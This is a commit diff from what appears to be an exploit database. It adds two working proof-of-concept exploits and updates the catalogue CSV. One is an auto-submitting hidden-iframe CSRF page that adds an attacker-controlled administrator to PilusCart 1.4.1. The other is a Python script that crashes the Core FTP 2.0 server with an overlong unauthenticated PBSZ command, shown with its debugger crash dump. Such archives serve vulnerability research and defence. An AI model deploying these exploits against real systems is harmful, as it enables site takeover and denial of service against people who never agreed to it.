DB: 2019-03-13

2 changes to exploits/shellcodes Core FTP 2.0 build 653 - 'PBSZ' Denial of Service (PoC) PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)
2019-03-13 05:01:58 +00:00 · 2019-03-13 05:01:58 +00:00 · 7ca7a51209
commit 7ca7a51209
parent ce1901fc4f
3 changed files with 119 additions and 0 deletions
--- a/exploits/php/webapps/46531.html
+++ b/exploits/php/webapps/46531.html
@ -0,0 +1,38 @@
+# Exploit Title: PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)
+# Google Dork: N/A
+# Date: 10-03-2019
+# Exploit Author: Gionathan "John" Reale
+# Vendor Homepage: https://github.com/piluscart
+# Software Link: https://sourceforge.net/projects/pilus/files/PiLUS/1.4.1/PiLUS-1.4.1-Ubiungu-stable.zip/download
+# Version: 1.4.1
+# Tested on: ParrotOS
+# CVE : N/A
+
+PilusCart 1.4.1 is vulnerable to CSRF attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), a form will be submitted that will add a new user as administrator.
+
+
+PoC:
+
+
+<html>
+<iframe style="width:0;height:0;border:0; border:none;" name="csrf-frame"></iframe>
+
+<form name="adduser" action="http://server/cabin/index.php?module=users&action=newUser" method="post" target="csrf-frame">
+    <input type="submit">
+    <input type="hidden" name="admin_id" value="">
+    <input type="hidden" name="session_id" value="">
+    <input type="hidden" name="admin_login" value="attacker">
+    <input type="hidden" name="admin_fullname" value="attacker">
+    <input type="hidden" name="admin_email" value="admin@attacker.com">
+    <input type="hidden" name="admin_pass" value="admin">
+    <input type="hidden" name="confirm_pass" value="admin">
+    <input type="hidden" name="admin_level" value="admin">
+    <input type="hidden" name="admin_url" value="">
+    <input type="hidden" name="saveAdmin" value="Simpan">
+        
+</form>
+
+<script>
+document.forms.adduser.submit();
+</script>
+</html>
--- a/exploits/windows/dos/46532.py
+++ b/exploits/windows/dos/46532.py
@ -0,0 +1,79 @@
+# Exploit Title: Core FTP 2.0 build 653 - 'PBSZ' - Unauthenticated - Denial of Service (PoC)
+# Date: 2019-03-12
+# Exploit Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
+# Vendor Homepage: http://www.coreftp.com/
+# Software Link: http://coreftp.com/server/download/archive/CoreFTPServer653.exe
+# Version: Version 2.0, build 653, 32-bit
+# Tested on: Windows 8.1 6.3 (build 9600)
+# CVE: N/A
+
+# Description: 
+# CoreFTP 2.0 is vulnerable to a DoS attack via the PBSZ command. Ironically, this command is being used for "Protection Buffer Size" 
+# and CoreFTP responds unauthenticated.
+# The PBSZ command in CoreFTP only allows for a certain length of the string to be vulnerable to a DoS.
+# This script triggers the DoS and filling ECX with the intented buffer. 
+# Although NSEH/SEH is overwritten, the executable binary is SafeSEH protected and no other assemblies are referenced.
+
+# Replication:
+# - Install CoreFTP and setup a domain with an IP and path
+# - Start the service or click "Start"
+# - No need to add users or set anything specific: just run the script and watch it crash
+
+# Crash as service:
+# (7e0.bf4): Access violation - code c0000005 (first chance)
+# First chance exceptions are reported before any exception handling.
+# This exception may be expected and handled.
+# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\CoreFTPServer\coresrvr.exe
+# eax=00000000 ebx=00a5b048 ecx=42424242 edx=00000000 esi=00000258 edi=00000000
+# eip=004491f5 esp=0128c4bc ebp=0129f684 iopl=0         nv up ei ng nz na po nc
+# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
+# coresrvr+0x491f5:
+# 004491f5 83b92c08000000  cmp     dword ptr [ecx+82Ch],0 ds:002b:42424a6e=????????
+
+#!/usr/bin/env python
+import sys, socket, struct, time
+ 
+if len(sys.argv) <= 2:
+    print "Usage: python " + sys.argv[0] + " [host] [port]"
+    exit()
+ 
+host = sys.argv[1]    
+port = int(sys.argv[2])
+
+# Maximum length
+maxlen = 211
+
+# Offsets
+crash_ecx = 199
+crash_nseh = 99
+
+# Variables
+prefix = "A" * crash_ecx
+ecx = "B" * 4                                   # 004491f5; CMP DWORD PTR DS:[ECX+82c],0 
+suffix = "C" * (maxlen - len(prefix + ecx))
+
+# Payload
+payload = prefix + ecx + suffix
+
+print "[+] Connecting to " + host + "\n"
+
+try:
+        print "[+] Sending payload with " + str(len(payload)) + " length message..."
+
+    
+        req = (
+                "PBSZ " + payload
+        )
+    
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(2)
+        s.connect((host, port))
+        s.send(req)
+        s.recv(1024)
+        s.close()
+
+        time.sleep(0.5)
+except Exception,e:
+        print "[!] Error occured: " + str(e)
+        print "[*] Crashed occured at buffer length: " + str(len(payload))
+        sys.exit()
--- a/files_exploits.csv
+++ b/files_exploits.csv
@ -6352,6 +6352,7 @@ id,file,description,date,author,type,platform,port
 46503,exploits/android/dos/46503.txt,"Android - binder Use-After-Free via racy Initialization of ->allow_user_free",2019-03-06,"Google Security Research",dos,android,
 46504,exploits/android/dos/46504.txt,"Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass",2019-03-06,"Google Security Research",dos,android,
 46529,exploits/linux/dos/46529.c,"Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak",2019-03-11,wally0813,dos,linux,
+46532,exploits/windows/dos/46532.py,"Core FTP 2.0 build 653 - 'PBSZ' Denial of Service (PoC)",2019-03-12,Hodorsec,dos,windows,21
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -40973,3 +40974,4 @@ id,file,description,date,author,type,platform,port
 46526,exploits/jsp/webapps/46526.rb,"OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)",2019-03-11,AkkuS,webapps,jsp,
 46527,exploits/windows/webapps/46527.sh,"PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution",2019-03-11,M4LV0,webapps,windows,80
 46528,exploits/php/webapps/46528.py,"Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution",2019-03-11,redtimmysec,webapps,php,
+46531,exploits/php/webapps/46531.html,"PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)",2019-03-12,"Gionathan Reale",webapps,php,80